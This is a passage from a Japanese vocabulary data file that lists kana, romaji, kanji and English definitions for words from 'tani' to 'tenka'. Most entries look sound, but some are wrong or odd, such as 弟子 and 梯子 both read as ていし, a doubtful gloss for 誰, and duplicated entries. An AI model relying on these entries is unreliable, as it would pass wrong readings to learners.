school)\"\n\t},\n\n\t{\n\t\t'kana':'たに',\n\t\t'romaji':'tani',\n\t\t'kanji':'谷',\n\t\t'definition':\"valley\"\n\t},\n\n\t{\n\t\t'kana':'たんいつ',\n\t\t'romaji':'tanitsu',\n\t\t'kanji':'単一',\n\t\t'definition':\"single;simple;sole;individual;unitory\"\n\t},\n\n\t{\n\t\t'kana':'たんじょう',\n\t\t'romaji':'tanjyou',\n\t\t'kanji':'誕生',\n\t\t'definition':\"birth\"\n\t},\n\n\t{\n\t\t'kana':'たんじゅん',\n\t\t'romaji':'tanjyun',\n\t\t'kanji':'単純',\n\t\t'definition':\"simplicity\"\n\t},\n\n\t{\n\t\t'kana':'たんか',\n\t\t'romaji':'tanka',\n\t\t'kanji':'担架',\n\t\t'definition':\"stretcher;litter\"\n\t},\n\n\t{\n\t\t'kana':'たんか',\n\t\t'romaji':'tanka',\n\t\t'kanji':'短歌',\n\t\t'definition':\"tanka;31-syllable Japanese poem\"\n\t},\n\n\t{\n\t\t'kana':'たんけん',\n\t\t'romaji':'tanken',\n\t\t'kanji':'探検',\n\t\t'definition':\"exploration;expedition\"\n\t},\n\n\t{\n\t\t'kana':'たんき',\n\t\t'romaji':'tanki',\n\t\t'kanji':'短期',\n\t\t'definition':\"short term\"\n\t},\n\n\t{\n\t\t'kana':'たんき',\n\t\t'romaji':'tanki',\n\t\t'kanji':'短気',\n\t\t'definition':\"quick temper\"\n\t},\n\n\t{\n\t\t'kana':'たんこう',\n\t\t'romaji':'tankou',\n\t\t'kanji':'炭鉱',\n\t\t'definition':\"coal mine;coal pit\"\n\t},\n\n\t{\n\t\t'kana':'たんなる',\n\t\t'romaji':'tannaru',\n\t\t'kanji':'単なる',\n\t\t'definition':\"mere;simple;sheer\"\n\t},\n\n\t{\n\t\t'kana':'たんに',\n\t\t'romaji':'tanni',\n\t\t'kanji':'単に',\n\t\t'definition':\"simply;merely;only;solely\"\n\t},\n\n\t{\n\t\t'kana':'たのみ',\n\t\t'romaji':'tanomi',\n\t\t'kanji':'頼み',\n\t\t'definition':\"request;favor;reliance;dependence\"\n\t},\n\n\t{\n\t\t'kana':'たのもしい',\n\t\t'romaji':'tanomoshii',\n\t\t'kanji':'頼もしい',\n\t\t'definition':\"reliable;trustworthy;hopeful;promising\"\n\t},\n\n\t{\n\t\t'kana':'たのむ',\n\t\t'romaji':'tanomu',\n\t\t'kanji':'頼む',\n\t\t'definition':\"to request;to beg;to ask\"\n\t},\n\n\t{\n\t\t'kana':'たのしい',\n\t\t'romaji':'tanoshii',\n\t\t'kanji':'楽しい',\n\t\t'definition':\"enjoyable;fun\"\n\t},\n\n\t{\n\t\t'kana':'たのしみ',\n\t\t'romaji':'tanoshimi',\n\t\t'kanji':'楽しみ',\n\t\t'definition':\"enjoyment;pleasure\"\n\t},\n\n\t{\n\t\t'kana':'たのしむ',\n\t\t'romaji':'tanoshimu',\n\t\t'kanji':'楽しむ',\n\t\t'definition':\"to enjoy oneself\"\n\t},\n\n\t{\n\t\t'kana':'たんぱ',\n\t\t'romaji':'tanpa',\n\t\t'kanji':'短波',\n\t\t'definition':\"short wave\"\n\t},\n\n\t{\n\t\t'kana':'たんぱくしつ',\n\t\t'romaji':'tanpakushitsu',\n\t\t'kanji':'蛋白質',\n\t\t'definition':\"protein\"\n\t},\n\n\t{\n\t\t'kana':'たんぺん',\n\t\t'romaji':'tanpen',\n\t\t'kanji':'短編',\n\t\t'definition':\"short (e.g. story film)\"\n\t},\n\n\t{\n\t\t'kana':'たんしょ',\n\t\t'romaji':'tansho',\n\t\t'kanji':'短所',\n\t\t'definition':\"defect;demerit;weak point\"\n\t},\n\n\t{\n\t\t'kana':'たんしゅく',\n\t\t'romaji':'tanshuku',\n\t\t'kanji':'短縮',\n\t\t'definition':\"shortening;abbreviation;reduction\"\n\t},\n\n\t{\n\t\t'kana':'たんそ',\n\t\t'romaji':'tanso',\n\t\t'kanji':'炭素',\n\t\t'definition':\"carbon (C)\"\n\t},\n\n\t{\n\t\t'kana':'たんす',\n\t\t'romaji':'tansu',\n\t\t'kanji':'箪笥',\n\t\t'definition':\"chest of drawers\"\n\t},\n\n\t{\n\t\t'kana':'たんすい',\n\t\t'romaji':'tansui',\n\t\t'kanji':'淡水',\n\t\t'definition':\"fresh water\"\n\t},\n\n\t{\n\t\t'kana':'たんすう',\n\t\t'romaji':'tansuu',\n\t\t'kanji':'単数',\n\t\t'definition':\"singular (number)\"\n\t},\n\n\t{\n\t\t'kana':'たんとう',\n\t\t'romaji':'tantou',\n\t\t'kanji':'担当',\n\t\t'definition':\"(in) charge\"\n\t},\n\n\t{\n\t\t'kana':'たおれる',\n\t\t'romaji':'taoreru',\n\t\t'kanji':'倒れる',\n\t\t'definition':\"to collapse;to break down;to go bankrupt;to fall;to drop;to die;to succumb to;to fall senseless;to be ruined;to have a bad debt\"\n\t},\n\n\t{\n\t\t'kana':'タオル',\n\t\t'romaji':'taoru',\n\t\t'kanji':'',\n\t\t'definition':\"(hand) towel\"\n\t},\n\n\t{\n\t\t'kana':'たおす',\n\t\t'romaji':'taosu',\n\t\t'kanji':'倒す',\n\t\t'definition':\"to throw down;to beat;to bring down;to blow down;to fell;to knock down;to trip up;to defeat;to ruin;to overthrow;to kill;to leave unpaid;to cheat\"\n\t},\n\n\t{\n\t\t'kana':'たっぷり',\n\t\t'romaji':'tappuri',\n\t\t'kanji':'',\n\t\t'definition':\"full;in plenty;ample\"\n\t},\n\n\t{\n\t\t'kana':'たれ',\n\t\t'romaji':'tare',\n\t\t'kanji':'誰',\n\t\t'definition':\"adjectival suffix for a person\"\n\t},\n\n\t{\n\t\t'kana':'タレント',\n\t\t'romaji':'tarento',\n\t\t'kanji':'',\n\t\t'definition':\"talent;star;personality\"\n\t},\n\n\t{\n\t\t'kana':'たれる',\n\t\t'romaji':'tareru',\n\t\t'kanji':'垂れる',\n\t\t'definition':\"to hang;to droop;to drop;to lower;to pull down;to dangle;to sag;to drip;to ooze;to trickle;to leave behind (at death);to give;to confer\"\n\t},\n\n\t{\n\t\t'kana':'たりる',\n\t\t'romaji':'tariru',\n\t\t'kanji':'足りる',\n\t\t'definition':\"to be sufficient;to be enough\"\n\t},\n\n\t{\n\t\t'kana':'たる',\n\t\t'romaji':'taru',\n\t\t'kanji':'足る',\n\t\t'definition':\"to be sufficient;to be enough\"\n\t},\n\n\t{\n\t\t'kana':'たるみ',\n\t\t'romaji':'tarumi',\n\t\t'kanji':'弛み',\n\t\t'definition':\"slack;slackening;dullness;letdown\"\n\t},\n\n\t{\n\t\t'kana':'たるむ',\n\t\t'romaji':'tarumu',\n\t\t'kanji':'弛む',\n\t\t'definition':\"to slacken;to loosen;to relax\"\n\t},\n\n\t{\n\t\t'kana':'たっしゃ',\n\t\t'romaji':'tasha',\n\t\t'kanji':'達者',\n\t\t'definition':\"skillful;in good health\"\n\t},\n\n\t{\n\t\t'kana':'たしか',\n\t\t'romaji':'tashika',\n\t\t'kanji':'確か',\n\t\t'definition':\"certain;sure;definite;if I'm not mistaken;if I remember correctly\"\n\t},\n\n\t{\n\t\t'kana':'たしか',\n\t\t'romaji':'tashika',\n\t\t'kanji':'確',\n\t\t'definition':\"certain;sure;definite;if I'm not mistaken;if I remember correctly\"\n\t},\n\n\t{\n\t\t'kana':'たしかめる',\n\t\t'romaji':'tashikameru',\n\t\t'kanji':'確かめる',\n\t\t'definition':\"to ascertain\"\n\t},\n\n\t{\n\t\t'kana':'たしざん',\n\t\t'romaji':'tashizan',\n\t\t'kanji':'足し算',\n\t\t'definition':\"addition\"\n\t},\n\n\t{\n\t\t'kana':'たしょう',\n\t\t'romaji':'tashou',\n\t\t'kanji':'多少',\n\t\t'definition':\"more or less;somewhat;a little;some\"\n\t},\n\n\t{\n\t\t'kana':'たっせい',\n\t\t'romaji':'tassei',\n\t\t'kanji':'達成',\n\t\t'definition':\"achievement\"\n\t},\n\n\t{\n\t\t'kana':'たっする',\n\t\t'romaji':'tassuru',\n\t\t'kanji':'達する',\n\t\t'definition':\"to reach;to get to\"\n\t},\n\n\t{\n\t\t'kana':'たす',\n\t\t'romaji':'tasu',\n\t\t'kanji':'足す',\n\t\t'definition':\"to add (numbers);to do (e.g. one's business)\"\n\t},\n\n\t{\n\t\t'kana':'たすかる',\n\t\t'romaji':'tasukaru',\n\t\t'kanji':'助かる',\n\t\t'definition':\"to be saved;to be rescued;to survive;to be helpful\"\n\t},\n\n\t{\n\t\t'kana':'たすけ',\n\t\t'romaji':'tasuke',\n\t\t'kanji':'助け',\n\t\t'definition':\"assistance\"\n\t},\n\n\t{\n\t\t'kana':'たすける',\n\t\t'romaji':'tasukeru',\n\t\t'kanji':'助ける',\n\t\t'definition':\"to help;to save;to rescue;to give relief to;to spare (life);to reinforce;to promote;to abet\"\n\t},\n\n\t{\n\t\t'kana':'たすうけつ',\n\t\t'romaji':'tasuuketsu',\n\t\t'kanji':'多数決',\n\t\t'definition':\"majority rule\"\n\t},\n\n\t{\n\t\t'kana':'たった',\n\t\t'romaji':'tata',\n\t\t'kanji':'',\n\t\t'definition':\"only;merely;but;no more than\"\n\t},\n\n\t{\n\t\t'kana':'たたかい',\n\t\t'romaji':'tatakai',\n\t\t'kanji':'戦い',\n\t\t'definition':\"battle;fight;struggle;conflict\"\n\t},\n\n\t{\n\t\t'kana':'たたかう',\n\t\t'romaji':'tatakau',\n\t\t'kanji':'戦う',\n\t\t'definition':\"to fight;to battle;to combat;to struggle against;to wage war;to engage in contest\"\n\t},\n\n\t{\n\t\t'kana':'たたく',\n\t\t'romaji':'tataku',\n\t\t'kanji':'叩く',\n\t\t'definition':\"to strike;to clap;to dust;to beat\"\n\t},\n\n\t{\n\t\t'kana':'たたく',\n\t\t'romaji':'tataku',\n\t\t'kanji':'叩く',\n\t\t'definition':\"to strike;to clap;to dust;to beat\"\n\t},\n\n\t{\n\t\t'kana':'たたむ',\n\t\t'romaji':'tatamu',\n\t\t'kanji':'畳む',\n\t\t'definition':\"to fold (clothes)\"\n\t},\n\n\t{\n\t\t'kana':'たて',\n\t\t'romaji':'tate',\n\t\t'kanji':'縦',\n\t\t'definition':\"length;height\"\n\t},\n\n\t{\n\t\t'kana':'たて',\n\t\t'romaji':'tate',\n\t\t'kanji':'盾',\n\t\t'definition':\"shield;buckler;escutcheon;pretext\"\n\t},\n\n\t{\n\t\t'kana':'たてかえる',\n\t\t'romaji':'tatekaeru',\n\t\t'kanji':'立て替える',\n\t\t'definition':\"to pay in advance;to pay for another;to pay someone else's debt as a loan to him\"\n\t},\n\n\t{\n\t\t'kana':'たてまえ',\n\t\t'romaji':'tatemae',\n\t\t'kanji':'建前',\n\t\t'definition':\"face;official stance;public position or attitude (as opposed to private thoughts)\"\n\t},\n\n\t{\n\t\t'kana':'たてまつる',\n\t\t'romaji':'tatematsuru',\n\t\t'kanji':'奉る',\n\t\t'definition':\"to offer;to present;to revere;to do respectfully\"\n\t},\n\n\t{\n\t\t'kana':'たてもの',\n\t\t'romaji':'tatemono',\n\t\t'kanji':'建物',\n\t\t'definition':\"building\"\n\t},\n\n\t{\n\t\t'kana':'たてる',\n\t\t'romaji':'tateru',\n\t\t'kanji':'建てる',\n\t\t'definition':\"to build;to construct\"\n\t},\n\n\t{\n\t\t'kana':'たてる',\n\t\t'romaji':'tateru',\n\t\t'kanji':'立てる',\n\t\t'definition':\"to stand (something) up;to erect (something)\"\n\t},\n\n\t{\n\t\t'kana':'たとえ',\n\t\t'romaji':'tatoe',\n\t\t'kanji':'仮令',\n\t\t'definition':\"example;even if;if;though;although\"\n\t},\n\n\t{\n\t\t'kana':'たとえ',\n\t\t'romaji':'tatoe',\n\t\t'kanji':'例え',\n\t\t'definition':\"example;even if;if;though;although\"\n\t},\n\n\t{\n\t\t'kana':'たとえば',\n\t\t'romaji':'tatoeba',\n\t\t'kanji':'例えば',\n\t\t'definition':\"for example;e.g.\"\n\t},\n\n\t{\n\t\t'kana':'たとえる',\n\t\t'romaji':'tatoeru',\n\t\t'kanji':'例える',\n\t\t'definition':\"to compare;to liken;to speak figuratively;to illustrate;to use a simile\"\n\t},\n\n\t{\n\t\t'kana':'たつ',\n\t\t'romaji':'tatsu',\n\t\t'kanji':'経つ',\n\t\t'definition':\"to pass;to lapse\"\n\t},\n\n\t{\n\t\t'kana':'たつ',\n\t\t'romaji':'tatsu',\n\t\t'kanji':'発つ',\n\t\t'definition':\"to depart (on a plane train etc.)\"\n\t},\n\n\t{\n\t\t'kana':'たつ',\n\t\t'romaji':'tatsu',\n\t\t'kanji':'建つ',\n\t\t'definition':\"to stand;to erect;to be erected;to rise;to be built\"\n\t},\n\n\t{\n\t\t'kana':'たつ',\n\t\t'romaji':'tatsu',\n\t\t'kanji':'立つ',\n\t\t'definition':\"to stand;to erect;to be erected;to rise;to be built\"\n\t},\n\n\t{\n\t\t'kana':'たつ',\n\t\t'romaji':'tatsu',\n\t\t'kanji':'絶つ',\n\t\t'definition':\"to sever;to cut off;to suppress;to abstain (from)\"\n\t},\n\n\t{\n\t\t'kana':'たっとぶ',\n\t\t'romaji':'tattobu',\n\t\t'kanji':'尊ぶ',\n\t\t'definition':\"to value;to prize;to esteem\"\n\t},\n\n\t{\n\t\t'kana':'たっとい',\n\t\t'romaji':'tattoi',\n\t\t'kanji':'貴い',\n\t\t'definition':\"precious;valuable;priceless;noble;exalted;sacred\"\n\t},\n\n\t{\n\t\t'kana':'たっとい',\n\t\t'romaji':'tattoi',\n\t\t'kanji':'尊い',\n\t\t'definition':\"precious;valuable;priceless;noble;exalted;sacred\"\n\t},\n\n\t{\n\t\t'kana':'たうえ',\n\t\t'romaji':'taue',\n\t\t'kanji':'田植え',\n\t\t'definition':\"rice planting\"\n\t},\n\n\t{\n\t\t'kana':'タワー',\n\t\t'romaji':'tawa-',\n\t\t'kanji':'',\n\t\t'definition':\"tower\"\n\t},\n\n\t{\n\t\t'kana':'たやすい',\n\t\t'romaji':'tayasui',\n\t\t'kanji':'容易い',\n\t\t'definition':\"easy;simple;light\"\n\t},\n\n\t{\n\t\t'kana':'たより',\n\t\t'romaji':'tayori',\n\t\t'kanji':'便り',\n\t\t'definition':\"news;tidings;information;correspondence;letter\"\n\t},\n\n\t{\n\t\t'kana':'たよる',\n\t\t'romaji':'tayoru',\n\t\t'kanji':'頼る',\n\t\t'definition':\"to rely on;to have recourse to;to depend on\"\n\t},\n\n\t{\n\t\t'kana':'たよう',\n\t\t'romaji':'tayou',\n\t\t'kanji':'多様',\n\t\t'definition':\"diversity;variety\"\n\t},\n\n\t{\n\t\t'kana':'たずねる',\n\t\t'romaji':'tazuneru',\n\t\t'kanji':'尋ねる',\n\t\t'definition':\"to ask;to enquire\"\n\t},\n\n\t{\n\t\t'kana':'たずねる',\n\t\t'romaji':'tazuneru',\n\t\t'kanji':'訪ねる',\n\t\t'definition':\"to visit\"\n\t},\n\n\t{\n\t\t'kana':'たずさわる',\n\t\t'romaji':'tazusawaru',\n\t\t'kanji':'携わる',\n\t\t'definition':\"to participate;to take part\"\n\t},\n\n\t{\n\t\t'kana':'て',\n\t\t'romaji':'te',\n\t\t'kanji':'手',\n\t\t'definition':\"hand\"\n\t},\n\n\t{\n\t\t'kana':'て',\n\t\t'romaji':'te',\n\t\t'kanji':'手',\n\t\t'definition':\"hand\"\n\t},\n\n\t{\n\t\t'kana':'てあらい',\n\t\t'romaji':'tearai',\n\t\t'kanji':'手洗い',\n\t\t'definition':\"restroom;lavatory;hand-washing\"\n\t},\n\n\t{\n\t\t'kana':'てあて',\n\t\t'romaji':'teate',\n\t\t'kanji':'手当て',\n\t\t'definition':\"allowance;compensation;treatment;medical care\"\n\t},\n\n\t{\n\t\t'kana':'てびき',\n\t\t'romaji':'tebiki',\n\t\t'kanji':'手引き',\n\t\t'definition':\"guidance;guide;introduction\"\n\t},\n\n\t{\n\t\t'kana':'てぶくろ',\n\t\t'romaji':'tebukuro',\n\t\t'kanji':'手袋',\n\t\t'definition':\"glove\"\n\t},\n\n\t{\n\t\t'kana':'テーブル',\n\t\t'romaji':'te-buru',\n\t\t'kanji':'',\n\t\t'definition':\"table\"\n\t},\n\n\t{\n\t\t'kana':'てちょう',\n\t\t'romaji':'techou',\n\t\t'kanji':'手帳',\n\t\t'definition':\"notebook\"\n\t},\n\n\t{\n\t\t'kana':'てぢか',\n\t\t'romaji':'tedika',\n\t\t'kanji':'手近',\n\t\t'definition':\"near;handy;familiar\"\n\t},\n\n\t{\n\t\t'kana':'てがかり',\n\t\t'romaji':'tegakari',\n\t\t'kanji':'手掛かり',\n\t\t'definition':\"contact;trail;scent;on hand;hand hold;clue;key\"\n\t},\n\n\t{\n\t\t'kana':'てがける',\n\t\t'romaji':'tegakeru',\n\t\t'kanji':'手掛ける',\n\t\t'definition':\"to handle;to manage;to work with;to rear;to look after;to have experience with\"\n\t},\n\n\t{\n\t\t'kana':'てがみ',\n\t\t'romaji':'tegami',\n\t\t'kanji':'手紙',\n\t\t'definition':\"letter\"\n\t},\n\n\t{\n\t\t'kana':'てがる',\n\t\t'romaji':'tegaru',\n\t\t'kanji':'手軽',\n\t\t'definition':\"easy;simple;informal;offhand;cheap\"\n\t},\n\n\t{\n\t\t'kana':'てぎわ',\n\t\t'romaji':'tegiwa',\n\t\t'kanji':'手際',\n\t\t'definition':\"performance;skill;tact\"\n\t},\n\n\t{\n\t\t'kana':'てごろ',\n\t\t'romaji':'tegoro',\n\t\t'kanji':'手頃',\n\t\t'definition':\"moderate;handy\"\n\t},\n\n\t{\n\t\t'kana':'てごろ',\n\t\t'romaji':'tegoro',\n\t\t'kanji':'手頃',\n\t\t'definition':\"moderate;handy\"\n\t},\n\n\t{\n\t\t'kana':'てはい',\n\t\t'romaji':'tehai',\n\t\t'kanji':'手配',\n\t\t'definition':\"arrangement;search (by police)\"\n\t},\n\n\t{\n\t\t'kana':'てはず',\n\t\t'romaji':'tehazu',\n\t\t'kanji':'手筈',\n\t\t'definition':\"arrangement;plan;programme\"\n\t},\n\n\t{\n\t\t'kana':'てほん',\n\t\t'romaji':'tehon',\n\t\t'kanji':'手本',\n\t\t'definition':\"model;pattern\"\n\t},\n\n\t{\n\t\t'kana':'てい',\n\t\t'romaji':'tei',\n\t\t'kanji':'体',\n\t\t'definition':\"appearance;air;condition;state;form\"\n\t},\n\n\t{\n\t\t'kana':'ていあん',\n\t\t'romaji':'teian',\n\t\t'kanji':'提案',\n\t\t'definition':\"proposal;proposition;suggestion\"\n\t},\n\n\t{\n\t\t'kana':'ていぼう',\n\t\t'romaji':'teibou',\n\t\t'kanji':'堤防',\n\t\t'definition':\"bank;weir\"\n\t},\n\n\t{\n\t\t'kana':'ていでん',\n\t\t'romaji':'teiden',\n\t\t'kanji':'停電',\n\t\t'definition':\"failure of electricity\"\n\t},\n\n\t{\n\t\t'kana':'ていど',\n\t\t'romaji':'teido',\n\t\t'kanji':'程度',\n\t\t'definition':\"degree;amount;grade;standard;on the order of (following a number)\"\n\t},\n\n\t{\n\t\t'kana':'ていぎ',\n\t\t'romaji':'teigi',\n\t\t'kanji':'定義',\n\t\t'definition':\"definition\"\n\t},\n\n\t{\n\t\t'kana':'ていいん',\n\t\t'romaji':'teiin',\n\t\t'kanji':'定員',\n\t\t'definition':\"fixed number of regular personnel;capacity (of boat hall aeroplane etc.)\"\n\t},\n\n\t{\n\t\t'kana':'ていじ',\n\t\t'romaji':'teiji',\n\t\t'kanji':'提示',\n\t\t'definition':\"presentation;exhibit;suggest;citation\"\n\t},\n\n\t{\n\t\t'kana':'ていか',\n\t\t'romaji':'teika',\n\t\t'kanji':'低下',\n\t\t'definition':\"fall;decline;lowering;deterioration\"\n\t},\n\n\t{\n\t\t'kana':'ていか',\n\t\t'romaji':'teika',\n\t\t'kanji':'定価',\n\t\t'definition':\"established price\"\n\t},\n\n\t{\n\t\t'kana':'ていけい',\n\t\t'romaji':'teikei',\n\t\t'kanji':'提携',\n\t\t'definition':\"cooperation;tie-up;joint business;link-up\"\n\t},\n\n\t{\n\t\t'kana':'ていき',\n\t\t'romaji':'teiki',\n\t\t'kanji':'定期',\n\t\t'definition':\"fixed term\"\n\t},\n\n\t{\n\t\t'kana':'ていきけん',\n\t\t'romaji':'teikiken',\n\t\t'kanji':'定期券',\n\t\t'definition':\"commuter pass;season ticket\"\n\t},\n\n\t{\n\t\t'kana':'ていこう',\n\t\t'romaji':'teikou',\n\t\t'kanji':'抵抗',\n\t\t'definition':\"electrical resistance;resistance;opposition\"\n\t},\n\n\t{\n\t\t'kana':'ていきょう',\n\t\t'romaji':'teikyou',\n\t\t'kanji':'提供',\n\t\t'definition':\"offer;tender;program sponsoring;furnishing\"\n\t},\n\n\t{\n\t\t'kana':'ていきゅうび',\n\t\t'romaji':'teikyuubi',\n\t\t'kanji':'定休日',\n\t\t'definition':\"regular holiday\"\n\t},\n\n\t{\n\t\t'kana':'ていねい',\n\t\t'romaji':'teinei',\n\t\t'kanji':'丁寧',\n\t\t'definition':\"polite;courteous;careful;care;kind;close;thorough;conscientious\"\n\t},\n\n\t{\n\t\t'kana':'ていねん',\n\t\t'romaji':'teinen',\n\t\t'kanji':'定年',\n\t\t'definition':\"retirement age\"\n\t},\n\n\t{\n\t\t'kana':'ていれ',\n\t\t'romaji':'teire',\n\t\t'kanji':'手入れ',\n\t\t'definition':\"repairs;maintenance\"\n\t},\n\n\t{\n\t\t'kana':'ていりゅうじょ',\n\t\t'romaji':'teiryuujyo',\n\t\t'kanji':'停留所',\n\t\t'definition':\"bus or tram stop\"\n\t},\n\n\t{\n\t\t'kana':'ていさい',\n\t\t'romaji':'teisai',\n\t\t'kanji':'体裁',\n\t\t'definition':\"decency;style;form;appearance;show;get-up;format\"\n\t},\n\n\t{\n\t\t'kana':'ていせい',\n\t\t'romaji':'teisei',\n\t\t'kanji':'訂正',\n\t\t'definition':\"correction;revision\"\n\t},\n\n\t{\n\t\t'kana':'ていし���',\n\t\t'romaji':'teisha',\n\t\t'kanji':'停車',\n\t\t'definition':\"stopping (e.g. train)\"\n\t},\n\n\t{\n\t\t'kana':'ていし',\n\t\t'romaji':'teishi',\n\t\t'kanji':'梯子',\n\t\t'definition':\"ladder;stairs\"\n\t},\n\n\t{\n\t\t'kana':'ていし',\n\t\t'romaji':'teishi',\n\t\t'kanji':'弟子',\n\t\t'definition':\"pupil;disciple;adherent;follower;apprentice;young person;teacher's student-helper\"\n\t},\n\n\t{\n\t\t'kana':'ていし',\n\t\t'romaji':'teishi',\n\t\t'kanji':'停止',\n\t\t'definition':\"suspension;interruption;stoppage;ban;standstill;deadlock;stalemate;abeyance\"\n\t},\n\n\t{\n\t\t'kana':'ていしょく',\n\t\t'romaji':'teishoku',\n\t\t'kanji':'定食',\n\t\t'definition':\"set meal;special (of the day)\"\n\t},\n\n\t{\n\t\t'kana':'ていしゅつ',\n\t\t'romaji':'teishutsu',\n\t\t'kanji':'提出',\n\t\t'definition':\"presentation;submission;filing\"\n\t},\n\n\t{\n\t\t'kana':'ていたい',\n\t\t'romaji':'teitai',\n\t\t'kanji':'停滞',\n\t\t'definition':\"stagnation;tie-up;congestion;retention;accumulation;falling into arrears\"\n\t},\n\n\t{\n\t\t'kana':'ていたく',\n\t\t'romaji':'teitaku',\n\t\t'kanji':'邸宅',\n\t\t'definition':\"mansion;residence\"\n\t},\n\n\t{\n\t\t'kana':'てじな',\n\t\t'romaji':'tejina',\n\t\t'kanji':'手品',\n\t\t'definition':\"sleight of hand;conjuring trick;magic;juggling\"\n\t},\n\n\t{\n\t\t'kana':'てじょう',\n\t\t'romaji':'tejyou',\n\t\t'kanji':'手錠',\n\t\t'definition':\"handcuffs;manacles\"\n\t},\n\n\t{\n\t\t'kana':'てじゅん',\n\t\t'romaji':'tejyun',\n\t\t'kanji':'手順',\n\t\t'definition':\"process;procedure;protocol\"\n\t},\n\n\t{\n\t\t'kana':'てかず',\n\t\t'romaji':'tekazu',\n\t\t'kanji':'手数',\n\t\t'definition':\"number of moves;trouble\"\n\t},\n\n\t{\n\t\t'kana':'てかず',\n\t\t'romaji':'tekazu',\n\t\t'kanji':'手数',\n\t\t'definition':\"number of moves;trouble\"\n\t},\n\n\t{\n\t\t'kana':'てき',\n\t\t'romaji':'teki',\n\t\t'kanji':'的',\n\t\t'definition':\"-like;typical\"\n\t},\n\n\t{\n\t\t'kana':'てきど',\n\t\t'romaji':'tekido',\n\t\t'kanji':'適度',\n\t\t'definition':\"moderate\"\n\t},\n\n\t{\n\t\t'kana':'てきぎ',\n\t\t'romaji':'tekigi',\n\t\t'kanji':'適宜',\n\t\t'definition':\"suitability\"\n\t},\n\n\t{\n\t\t'kana':'てきかく',\n\t\t'romaji':'tekikaku',\n\t\t'kanji':'適確',\n\t\t'definition':\"precise;accurate\"\n\t},\n\n\t{\n\t\t'kana':'てきかく',\n\t\t'romaji':'tekikaku',\n\t\t'kanji':'的確',\n\t\t'definition':\"precise;accurate\"\n\t},\n\n\t{\n\t\t'kana':'てきおう',\n\t\t'romaji':'tekiou',\n\t\t'kanji':'適応',\n\t\t'definition':\"adaptation;accommodation;conformity\"\n\t},\n\n\t{\n\t\t'kana':'てきせい',\n\t\t'romaji':'tekisei',\n\t\t'kanji':'適性',\n\t\t'definition':\"aptitude\"\n\t},\n\n\t{\n\t\t'kana':'てきせつ',\n\t\t'romaji':'tekisetsu',\n\t\t'kanji':'適切',\n\t\t'definition':\"pertinent;appropriate;adequate;relevance\"\n\t},\n\n\t{\n\t\t'kana':'てきする',\n\t\t'romaji':'tekisuru',\n\t\t'kanji':'適する',\n\t\t'definition':\"to fit;to suit\"\n\t},\n\n\t{\n\t\t'kana':'テキスト',\n\t\t'romaji':'tekisuto',\n\t\t'kanji':'',\n\t\t'definition':\"1. text; 2. text book\"\n\t},\n\n\t{\n\t\t'kana':'てきとう',\n\t\t'romaji':'tekitou',\n\t\t'kanji':'適当',\n\t\t'definition':\"fitness;suitability;adequacy;relevance\"\n\t},\n\n\t{\n\t\t'kana':'てきよう',\n\t\t'romaji':'tekiyou',\n\t\t'kanji':'適用',\n\t\t'definition':\"applying\"\n\t},\n\n\t{\n\t\t'kana':'てっきり',\n\t\t'romaji':'tekkiri',\n\t\t'kanji':'',\n\t\t'definition':\"surely;certainly;beyond doubt\"\n\t},\n\n\t{\n\t\t'kana':'てっこう',\n\t\t'romaji':'tekkou',\n\t\t'kanji':'鉄鋼',\n\t\t'definition':\"iron and steel\"\n\t},\n\n\t{\n\t\t'kana':'てくび',\n\t\t'romaji':'tekubi',\n\t\t'kanji':'手首',\n\t\t'definition':\"wrist\"\n\t},\n\n\t{\n\t\t'kana':'てっきょう',\n\t\t'romaji':'tekyou',\n\t\t'kanji':'鉄橋',\n\t\t'definition':\"railway bridge;iron bridge\"\n\t},\n\n\t{\n\t\t'kana':'てま',\n\t\t'romaji':'tema',\n\t\t'kanji':'手間',\n\t\t'definition':\"time;labour\"\n\t},\n\n\t{\n\t\t'kana':'テーマ',\n\t\t'romaji':'te-ma',\n\t\t'kanji':'',\n\t\t'definition':\"(de:) (n) theme;project;topic (de: Thema)\"\n\t},\n\n\t{\n\t\t'kana':'てまえ',\n\t\t'romaji':'temae',\n\t\t'kanji':'手前',\n\t\t'definition':\"before;this side;we;you\"\n\t},\n\n\t{\n\t\t'kana':'てまわし',\n\t\t'romaji':'temawashi',\n\t\t'kanji':'手回し',\n\t\t'definition':\"preparations;arrangements\"\n\t},\n\n\t{\n\t\t'kana':'てもと',\n\t\t'romaji':'temoto',\n\t\t'kanji':'手元',\n\t\t'definition':\"on hand;at hand;at home\"\n\t},\n\n\t{\n\t\t'kana':'てん',\n\t\t'romaji':'ten',\n\t\t'kanji':'店',\n\t\t'definition':\"store;shop;establishment\"\n\t},\n\n\t{\n\t\t'kana':'てん',\n\t\t'romaji':'ten',\n\t\t'kanji':'店',\n\t\t'definition':\"store;shop;establishment\"\n\t},\n\n\t{\n\t\t'kana':'てん',\n\t\t'romaji':'ten',\n\t\t'kanji':'点',\n\t\t'definition':\"spot;mark;point;dot\"\n\t},\n\n\t{\n\t\t'kana':'てんぼう',\n\t\t'romaji':'tenbou',\n\t\t'kanji':'展望',\n\t\t'definition':\"view;outlook;prospect\"\n\t},\n\n\t{\n\t\t'kana':'てんで',\n\t\t'romaji':'tende',\n\t\t'kanji':'',\n\t\t'definition':\"(not) at all;altogether;entirely\"\n\t},\n\n\t{\n\t\t'kana':'てんごく',\n\t\t'romaji':'tengoku',\n\t\t'kanji':'天国',\n\t\t'definition':\"paradise;heaven;Kingdom of Heaven\"\n\t},\n\n\t{\n\t\t'kana':'てんいん',\n\t\t'romaji':'tenin',\n\t\t'kanji':'店員',\n\t\t'definition':\"shop assistant;employee;clerk;salesperson\"\n\t},\n\n\t{\n\t\t'kana':'テニス',\n\t\t'romaji':'tenisu',\n\t\t'kanji':'',\n\t\t'definition':\"tennis\"\n\t},\n\n\t{\n\t\t'kana':'テニスコート',\n\t\t'romaji':'tenisuko-to',\n\t\t'kanji':'',\n\t\t'definition':\"tennis court\"\n\t},\n\n\t{\n\t\t'kana':'てんじ',\n\t\t'romaji':'tenji',\n\t\t'kanji':'展示',\n\t\t'definition':\"exhibition;display\"\n\t},\n\n\t{\n\t\t'kana':'てんじる',\n\t\t'romaji':'tenjiru',\n\t\t'kanji':'転じる',\n\t\t'definition':\"to turn;to shift;to alter;to distract\"\n\t},\n\n\t{\n\t\t'kana':'てんじょう',\n\t\t'romaji':'tenjyou',\n\t\t'kanji':'天井',\n\t\t'definition':\"ceiling;ceiling price\"\n\t},\n\n\t{\n\t\t'kana':'てんか',\n\t\t'romaji':'tenka',\n\t\t'kanji':'点火',\n\t\t'definition':\"ignition;lighting;set fire 